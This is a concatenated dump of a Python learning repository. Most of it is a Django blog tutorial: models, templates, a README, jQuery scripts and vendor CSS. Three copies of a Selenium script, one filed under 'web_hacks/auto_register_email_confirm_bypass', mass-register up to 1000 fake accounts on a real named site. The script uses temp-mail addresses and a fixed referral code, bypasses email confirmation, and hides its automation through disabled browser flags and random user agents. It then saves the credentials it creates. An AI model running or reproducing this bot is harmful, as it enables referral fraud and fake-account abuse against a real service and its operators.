Create your APITestCase(mainApp/tests.py) 53 | 54 | Finished.please runserver(python manage.py runserver) 55 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/js/main.js: -------------------------------------------------------------------------------- 1 | 2 | (function ($) { 3 | "use strict"; 4 | 5 | 6 | /*================================================================== 7 | [ Focus input ]*/ 8 | $('.input100').each(function(){ 9 | $(this).on('blur', function(){ 10 | if($(this).val().trim() != "") { 11 | $(this).addClass('has-val'); 12 | } 13 | else { 14 | $(this).removeClass('has-val'); 15 | } 16 | }) 17 | }) 18 | 19 | 20 | /*================================================================== 21 | [ Validate ]*/ 22 | var input = $('.validate-input .input100'); 23 | 24 | $('.validate-form').on('submit',function(){ 25 | var check = true; 26 | 27 | for(var i=0; i= box - header) { 24 | $("header").addClass("background-header"); 25 | } else { 26 | $("header").removeClass("background-header"); 27 | } 28 | }); 29 | 30 | if ($('.owl-clients').length) { 31 | $('.owl-clients').owlCarousel({ 32 | loop: true, 33 | nav: false, 34 | dots: true, 35 | items: 1, 36 | margin: 30, 37 | autoplay: false, 38 | smartSpeed: 700, 39 | autoplayTimeout: 6000, 40 | responsive: { 41 | 0: { 42 | items: 1, 43 | margin: 0 44 | }, 45 | 460: { 46 | items: 1, 47 | margin: 0 48 | }, 49 | 576: { 50 | items: 3, 51 | margin: 20 52 | }, 53 | 992: { 54 | items: 5, 55 | margin: 30 56 | } 57 | } 58 | }); 59 | } 60 | 61 | if ($('.owl-banner').length) { 62 | $('.owl-banner').owlCarousel({ 63 | loop: true, 64 | nav: true, 65 | dots: true, 66 | items: 3, 67 | margin: 10, 68 | autoplay: false, 69 | smartSpeed: 700, 70 | autoplayTimeout: 6000, 71 | responsive: { 72 | 0: { 73 | items: 1, 74 | margin: 0 75 | }, 76 | 460: { 77 | items: 1, 78 | margin: 0 79 | }, 80 | 576: { 81 | items: 1, 82 | margin: 10 83 | }, 84 | 992: { 85 | items: 3, 86 | margin: 10 87 | } 88 | } 89 | }); 90 | } 91 | 92 | }); 93 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/templates/includes/side_bar.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 |
3 | 64 |
-------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/models.py: -------------------------------------------------------------------------------- 1 | from django.contrib.auth.models import User 2 | from django.db import models 3 | from django.urls import reverse 4 | from django.utils import timezone 5 | from django.utils.text import slugify 6 | 7 | 8 | class Category(models.Model): 9 | title = models.CharField(max_length=100) 10 | updated = models.DateTimeField(auto_now_add=True) 11 | 12 | def __str__(self): 13 | return self.title 14 | 15 | # on_delete= # ; 16 | # CASECADE) or SET_NULL, null = True) or PROTECT) or SET_DEFAULT, default = ) 17 | 18 | 19 | class Article(models.Model): 20 | auther = models.ForeignKey(User, on_delete=models.CASCADE, related_name='articles') 21 | category =models.ManyToManyField(Category, related_name='articles') 22 | title = models.CharField(max_length=70) 23 | body = models.TextField() 24 | image = models.ImageField(upload_to='images/articles') 25 | created = models.DateTimeField(auto_now_add=True) 26 | updated = models.DateTimeField(auto_now=True) 27 | pubdate = models.DateField(default=timezone.now) 28 | slug = models.SlugField(blank=True, unique=True) 29 | 30 | class Meta: 31 | ordering = ('-updated', '-created' ) # - : from last to first 32 | 33 | def save(self, force_insert=False, force_update=False, using=None, update_fields=None): 34 | self.slug = slugify(self.title) 35 | super(Article, self).save() 36 | 37 | def get_absolute_url(self): 38 | return reverse('blog_post:article_detail', kwargs={'slug': self.slug}) 39 | 40 | 41 | def __str__(self): 42 | return f"{self.title} - {self.body[ :30]}" 43 | 44 | 45 | class Comment(models.Model): 46 | article = models.ForeignKey(Article, on_delete=models.CASCADE, related_name='comments') 47 | user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='comments') 48 | 49 | parent = models.ForeignKey('self', on_delete=models.CASCADE, null=True, blank=True, related_name='replies') 50 | 51 | body = models.TextField() 52 | created_at = models.DateTimeField(auto_now_add=True) 53 | 54 | def __str__(self): 55 | return self.body[:50] 56 | 57 | 58 | class Massage(models.Model): 59 | title = models.CharField(max_length=100) 60 | text = models.TextField() 61 | email = models.EmailField() 62 | created = models.DateTimeField(auto_now_add=True, null=True) 63 | 64 | def __str__(self): 65 | return self.title 66 | 67 | 68 | class Like(models.Model): 69 | user = models.ForeignKey(User, on_delete=models.CASCADE, related_name="likes", verbose_name='کاربر') 70 | article = models.ForeignKey(Article, on_delete=models.CASCADE, related_name="likes", verbose_name='مقاله') 71 | created_at = models.DateTimeField(auto_now_add=True) 72 | 73 | def __str__(self): 74 | return f"{self.user.username} - {self.article.title}" 75 | 76 | class Meta: 77 | verbose_name = "لایک" 78 | verbose_name_plural = "لایک ها" 79 | ordering = ("-created_at", ) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/README.md: -------------------------------------------------------------------------------- 1 | In this tutorial, we’ll build a Blog application with Django that allows users to create, edit, and delete posts. The homepage will list all blog posts, and there will be a dedicated detail page for each individual post. Django is capable of making more advanced stuff but making a blog is an excellent first step to get a good grasp over the framework. The purpose of this chapter is to get a general idea about the working of Django. 2 | 3 | step 1: Generated by ('django-admin startproject myProjectName') using Django 4.0.5 in terminal. 4 | 5 | step 2: Install using pip, including any optional packages you want...: 6 | 7 | pip install djangorestframework 8 | pip install markdown # Markdown support for the browsable API. 9 | pip install django-filter # Filtering support 10 | 11 | step 3 : Create our own app with this command :('python manage.py startapp appname') in terminal, and Add my app to the installed app in settings.py 12 | 13 | step 4: Add templates and use block and endblock to separate header base sidebar footer 14 | 15 | 16 | step 4: Add my apps to your INSTALLED_APPS setting: 17 | 18 | INSTALLED_APPS = [ 19 | ... 20 | `# my app 21 | 'home.apps.HomeAppConfig', 22 | 'account.apps.AccountConfig', 23 | 'blog_post.apps.BlogPostConfig', 24 | 25 | 'django_cleanup.apps.CleanupConfig', 26 | 'django_render_partial', 27 | 'django_social_share', 28 | # my widget 29 | 'widget_tweaks', 30 | ] 31 | And add static files and media files: 32 | 33 | # Static files (CSS, JavaScript, Images) 34 | STATIC_URL = 'static/' 35 | MEDIA_URL = 'media/' 36 | STATICFILES_DIRS = [os.path.join(BASE_DIR ,"static")] 37 | MEDIA_ROOT = os.path.join(BASE_DIR, 'media') 38 | 39 | step 5: Create your model(appname/models.py) and in terminal we enter makemigration and migrate with their commands 40 | (python manage.py makemigration , 41 | python manage.py migrate) 42 | please check all models 43 | 44 | step 6:Create your form(appname/forms.py) 45 | please check all forms 46 | 47 | step 7:Create your mixin(appname/mixins.py) 48 | 49 | step 8: Create your class base views(appname/views.py) 50 | please check all views 51 | 52 | step 9: Register your models(appname/admin.py) & in terminal Create super user with command (python manage.py createsuperuser) 53 | 54 | step 10: appname URL Configuration(appname/urls.py) 55 | please check all urls 56 | 57 | step 11: myProjectName URL Configuration(appname/urls.py) 58 | Add path of urls myProjectName 59 | 60 | urlpatterns = [ 61 | ... 62 | path('', include('appname.urls')) 63 | ] 64 | And add path of statics files 65 | urlpatterns += static(settings.MEDIA_URL,document_root = settings.MEDIA_ROOT) 66 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/vendor/perfect-scrollbar/perfect-scrollbar.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Container style 3 | */ 4 | .ps { 5 | overflow: hidden !important; 6 | overflow-anchor: none; 7 | -ms-overflow-style: none; 8 | touch-action: auto; 9 | -ms-touch-action: auto; 10 | } 11 | 12 | /* 13 | * Scrollbar rail styles 14 | */ 15 | .ps__rail-x { 16 | display: none; 17 | opacity: 0; 18 | transition: background-color .2s linear, opacity .2s linear; 19 | -webkit-transition: background-color .2s linear, opacity .2s linear; 20 | height: 15px; 21 | /* there must be 'bottom' or 'top' for ps__rail-x */ 22 | bottom: 0px; 23 | /* please don't change 'position' */ 24 | position: absolute; 25 | } 26 | 27 | .ps__rail-y { 28 | display: none; 29 | opacity: 0; 30 | transition: background-color .2s linear, opacity .2s linear; 31 | -webkit-transition: background-color .2s linear, opacity .2s linear; 32 | width: 15px; 33 | /* there must be 'right' or 'left' for ps__rail-y */ 34 | right: 0; 35 | /* please don't change 'position' */ 36 | position: absolute; 37 | } 38 | 39 | .ps--active-x > .ps__rail-x, 40 | .ps--active-y > .ps__rail-y { 41 | display: block; 42 | background-color: transparent; 43 | } 44 | 45 | .ps:hover > .ps__rail-x, 46 | .ps:hover > .ps__rail-y, 47 | .ps--focus > .ps__rail-x, 48 | .ps--focus > .ps__rail-y, 49 | .ps--scrolling-x > .ps__rail-x, 50 | .ps--scrolling-y > .ps__rail-y { 51 | opacity: 0.6; 52 | } 53 | 54 | .ps__rail-x:hover, 55 | .ps__rail-y:hover, 56 | .ps__rail-x:focus, 57 | .ps__rail-y:focus { 58 | background-color: #eee; 59 | opacity: 0.9; 60 | } 61 | 62 | /* 63 | * Scrollbar thumb styles 64 | */ 65 | .ps__thumb-x { 66 | background-color: #aaa; 67 | border-radius: 6px; 68 | transition: background-color .2s linear, height .2s ease-in-out; 69 | -webkit-transition: background-color .2s linear, height .2s ease-in-out; 70 | height: 6px; 71 | /* there must be 'bottom' for ps__thumb-x */ 72 | bottom: 2px; 73 | /* please don't change 'position' */ 74 | position: absolute; 75 | } 76 | 77 | .ps__thumb-y { 78 | background-color: #aaa; 79 | border-radius: 6px; 80 | transition: background-color .2s linear, width .2s ease-in-out; 81 | -webkit-transition: background-color .2s linear, width .2s ease-in-out; 82 | width: 6px; 83 | /* there must be 'right' for ps__thumb-y */ 84 | right: 2px; 85 | /* please don't change 'position' */ 86 | position: absolute; 87 | } 88 | 89 | .ps__rail-x:hover > .ps__thumb-x, 90 | .ps__rail-x:focus > .ps__thumb-x { 91 | background-color: #999; 92 | height: 11px; 93 | } 94 | 95 | .ps__rail-y:hover > .ps__thumb-y, 96 | .ps__rail-y:focus > .ps__thumb-y { 97 | background-color: #999; 98 | width: 11px; 99 | } 100 | 101 | /* MS supports */ 102 | @supports (-ms-overflow-style: none) { 103 | .ps { 104 | overflow: auto !important; 105 | } 106 | } 107 | 108 | @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) { 109 | .ps { 110 | overflow: auto !important; 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/templates/account/edit.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | {% load static %} 3 | 4 | {% block title %}Contact Us{% endblock %} 5 | {% block contant %} 6 |
7 |
8 |
9 | 10 |
11 |
12 |
13 |
14 | 42 |
43 | 44 |
45 |
46 |
47 | 48 |
49 |
50 | 52 |
53 |
54 | 55 |
56 |
57 |
58 | 59 | 60 | {% endblock %} -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 5 - H.B/level2_i_forgot_build_file_first.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | from selenium.webdriver.common.keys import Keys 3 | from selenium.webdriver.common.by import By 4 | from selenium.webdriver.common.action_chains import ActionChains 5 | from time import sleep 6 | from fake_useragent import UserAgent 7 | import clipboard 8 | import requests 9 | 10 | for i in range(0, 1000): 11 | 12 | user_agent = UserAgent().random 13 | 14 | options = webdriver.ChromeOptions() 15 | options.add_experimental_option("excludeSwitches", ["enable-automation"]) 16 | options.add_experimental_option('useAutomationExtension', False) 17 | options.add_argument("--disable-blink-features=AutomationControlled") 18 | options.add_argument(f"user-agent={user_agent}") 19 | options.add_argument("--start-maximized") 20 | driver = webdriver.Chrome('C:\Program Files (x86)\chromedriver.exe', options= options) 21 | 22 | ref_code = '623336bfea5c6' 23 | email_site = 'https://tempmailo.com/' 24 | target_site = 'https://www.knolix.com/' 25 | 26 | driver.get(email_site) 27 | 28 | tmp_email_cp_btn = driver.find_element(By().XPATH, '//*[@id="apptmo"]/div/div[1]/div[1]/div/button/span') 29 | tmp_email_cp_btn.click() 30 | tmp_email = clipboard.paste() 31 | 32 | 33 | driver.execute_script('''window.open("","_blank");''') 34 | driver.switch_to.window(driver.window_handles[1]) 35 | driver.get(target_site) 36 | 37 | reg_btn = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/center[1]/button') 38 | reg_btn.click() 39 | sleep(1) 40 | req_input = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/input') 41 | req_input.send_keys(ref_code) 42 | req_submit = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/center/input') 43 | req_submit.click() 44 | sleep(1) 45 | 46 | reg_btn = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/center[1]/button') 47 | reg_btn.click() 48 | sleep(1) 49 | req_input = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/input') 50 | req_input.send_keys(tmp_email) 51 | req_submit = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/center/input') 52 | req_submit.click() 53 | 54 | sleep(15) 55 | driver.switch_to.window(driver.window_handles[0]) 56 | auth_email = driver.find_element(By().XPATH, '//*[@id="apptmo"]/div/div[2]/div[1]/ul/li/div[2]/div') 57 | auth_email.click() 58 | sleep(1) 59 | 60 | auth_email_content = driver.find_element(By().XPATH, '/html/body') 61 | auth_email_content.click() 62 | 63 | actions = ActionChains(driver) 64 | actions.key_down(Keys.CONTROL).send_keys('A').send_keys('C').key_up(Keys.CONTROL).perform() 65 | 66 | email_text = clipboard.paste() 67 | email_link = email_text.split(' ')[2] 68 | 69 | driver.execute_script('''window.open("","_blank");''') 70 | driver.switch_to.window(driver.window_handles[2]) 71 | driver.get(email_link) 72 | 73 | 74 | acc_pass = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/h3[2]/font').text 75 | 76 | with open('emails.txt', 'w') as file: 77 | file.write(f'{tmp_email}:{acc_pass} \n') 78 | 79 | driver.quit() 80 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/5_web_hacks/1_auto_register_email_confirm_bypass/KDR.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | from selenium.webdriver.common.keys import Keys 3 | from selenium.webdriver.common.by import By 4 | from selenium.webdriver.common.action_chains import ActionChains 5 | from time import sleep 6 | from fake_useragent import UserAgent 7 | import clipboard 8 | import requests 9 | 10 | for i in range(0, 1000): 11 | 12 | user_agent = UserAgent().random 13 | 14 | options = webdriver.ChromeOptions() 15 | options.add_experimental_option("excludeSwitches", ["enable-automation"]) 16 | options.add_experimental_option('useAutomationExtension', False) 17 | options.add_argument("--disable-blink-features=AutomationControlled") 18 | options.add_argument(f"user-agent={user_agent}") 19 | options.add_argument("--start-maximized") 20 | driver = webdriver.Chrome('C:\Program Files (x86)\chromedriver.exe', options= options) 21 | 22 | ref_code = '623336bfea5c6' 23 | email_site = 'https://tempmailo.com/' 24 | target_site = 'https://www.knolix.com/' 25 | 26 | driver.get(email_site) 27 | 28 | tmp_email_cp_btn = driver.find_element(By().XPATH, '//*[@id="apptmo"]/div/div[1]/div[1]/div/button/span') 29 | tmp_email_cp_btn.click() 30 | tmp_email = clipboard.paste() 31 | 32 | 33 | driver.execute_script('''window.open("","_blank");''') 34 | driver.switch_to.window(driver.window_handles[1]) 35 | driver.get(target_site) 36 | 37 | reg_btn = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/center[1]/button') 38 | reg_btn.click() 39 | sleep(1) 40 | req_input = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/input') 41 | req_input.send_keys(ref_code) 42 | req_submit = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/center/input') 43 | req_submit.click() 44 | sleep(1) 45 | 46 | reg_btn = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/center[1]/button') 47 | reg_btn.click() 48 | sleep(1) 49 | req_input = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/input') 50 | req_input.send_keys(tmp_email) 51 | req_submit = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/center/input') 52 | req_submit.click() 53 | 54 | sleep(15) 55 | driver.switch_to.window(driver.window_handles[0]) 56 | auth_email = driver.find_element(By().XPATH, '//*[@id="apptmo"]/div/div[2]/div[1]/ul/li/div[2]/div') 57 | auth_email.click() 58 | sleep(1) 59 | 60 | auth_email_content = driver.find_element(By().XPATH, '/html/body') 61 | auth_email_content.click() 62 | 63 | actions = ActionChains(driver) 64 | actions.key_down(Keys.CONTROL).send_keys('A').send_keys('C').key_up(Keys.CONTROL).perform() 65 | 66 | email_text = clipboard.paste() 67 | email_link = email_text.split(' ')[2] 68 | 69 | driver.execute_script('''window.open("","_blank");''') 70 | driver.switch_to.window(driver.window_handles[2]) 71 | driver.get(email_link) 72 | 73 | 74 | acc_pass = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/h3[2]/font').text 75 | 76 | with open('emails.txt', 'w') as file: 77 | file.write(f'{tmp_email}:{acc_pass} \n') 78 | 79 | driver.quit() 80 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/templates/includes/header.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 |
4 | 56 |
57 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/vendor/bootstrap/css/bootstrap-reboot.min.css: -------------------------------------------------------------------------------- 1 | html{box-sizing:border-box;font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}*,::after,::before{box-sizing:inherit}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}[role=button],a,area,button,input,label,select,summary,textarea{-ms-touch-action:manipulation;touch-action:manipulation}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#868e96;text-align:left;caption-side:bottom}th{text-align:left}label{display:inline-block;margin-bottom:.5rem}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item}template{display:none}[hidden]{display:none!important} 2 | /*# sourceMappingURL=bootstrap-reboot.min.css.map */ -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 1 - R.E/Level_4.py: -------------------------------------------------------------------------------- 1 | # Welcome to step 4 2 | # In this game, you have to be very careful with the names 3 | # This code is a very small robot for a smaller task. But it can seem very difficult in your mind 4 | # Now the decision is yours. Be afraid or go through the code line by line to get the real meaning 5 | # Helpful tip: search for anything you don't know what it is 6 | 7 | from selenium import webdriver 8 | from selenium.webdriver.common.keys import Keys 9 | from selenium.webdriver.common.by import By 10 | from selenium.webdriver.common.action_chains import ActionChains 11 | from time import sleep 12 | from fake_useragent import UserAgent 13 | import clipboard 14 | 15 | for i in range(0, 1000): 16 | 17 | user_agent = UserAgent().random 18 | 19 | options = webdriver.ChromeOptions() 20 | options.add_experimental_option("excludeSwitches", ["enable-automation"]) 21 | options.add_experimental_option('useAutomationExtension', False) 22 | options.add_argument("--disable-blink-features=AutomationControlled") 23 | options.add_argument(f"user-agent={user_agent}") 24 | options.add_argument("--start-maximized") 25 | driver = webdriver.Chrome('C:\Program Files (x86)\chromedriver.exe', options= options) 26 | 27 | ref_code = '623336bfea5c6' 28 | email_site = 'https://tempmailo.com/' 29 | target_site = 'https://www.knolix.com/' 30 | 31 | driver.get(email_site) 32 | 33 | tmp_email_cp_btn = driver.find_element(By().XPATH, '//*[@id="apptmo"]/div/div[1]/div[1]/div/button/span') 34 | tmp_email_cp_btn.click() 35 | tmp_email = clipboard.paste() 36 | 37 | 38 | driver.execute_script('''window.open("","_blank");''') 39 | driver.switch_to.window(driver.window_handles[1]) 40 | driver.get(target_site) 41 | 42 | reg_btn = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/center[1]/button') 43 | reg_btn.click() 44 | sleep(1) 45 | req_input = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/input') 46 | req_input.send_keys(ref_code) 47 | req_submit = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/center/input') 48 | req_submit.click() 49 | sleep(1) 50 | 51 | reg_btn = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/center[1]/button') 52 | reg_btn.click() 53 | sleep(1) 54 | req_input = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/input') 55 | req_input.send_keys(tmp_email) 56 | req_submit = driver.find_element(By().XPATH, '//*[@id="modallogin"]/div/div/form/center/input') 57 | req_submit.click() 58 | 59 | sleep(15) 60 | driver.switch_to.window(driver.window_handles[0]) 61 | auth_email = driver.find_element(By().XPATH, '//*[@id="apptmo"]/div/div[2]/div[1]/ul/li/div[2]/div') 62 | auth_email.click() 63 | sleep(1) 64 | 65 | auth_email_content = driver.find_element(By().XPATH, '/html/body') 66 | auth_email_content.click() 67 | 68 | actions = ActionChains(driver) 69 | actions.key_down(Keys.CONTROL).send_keys('A').send_keys('C').key_up(Keys.CONTROL).perform() 70 | 71 | email_text = clipboard.paste() 72 | email_link = email_text.split(' ')[2] 73 | 74 | driver.execute_script('''window.open("","_blank");''') 75 | driver.switch_to.window(driver.window_handles[2]) 76 | driver.get(email_link) 77 | 78 | 79 | acc_pass = driver.find_element(By().XPATH, '//*[@id="main"]/div/div/div[1]/div/center/div[3]/h3[2]/font').text 80 | 81 | with open('emails.txt', 'w') as file: 82 | file.write(f'{tmp_email}:{acc_pass} \n') 83 | 84 | driver.quit() 85 | --------------------------------------------------------------------------------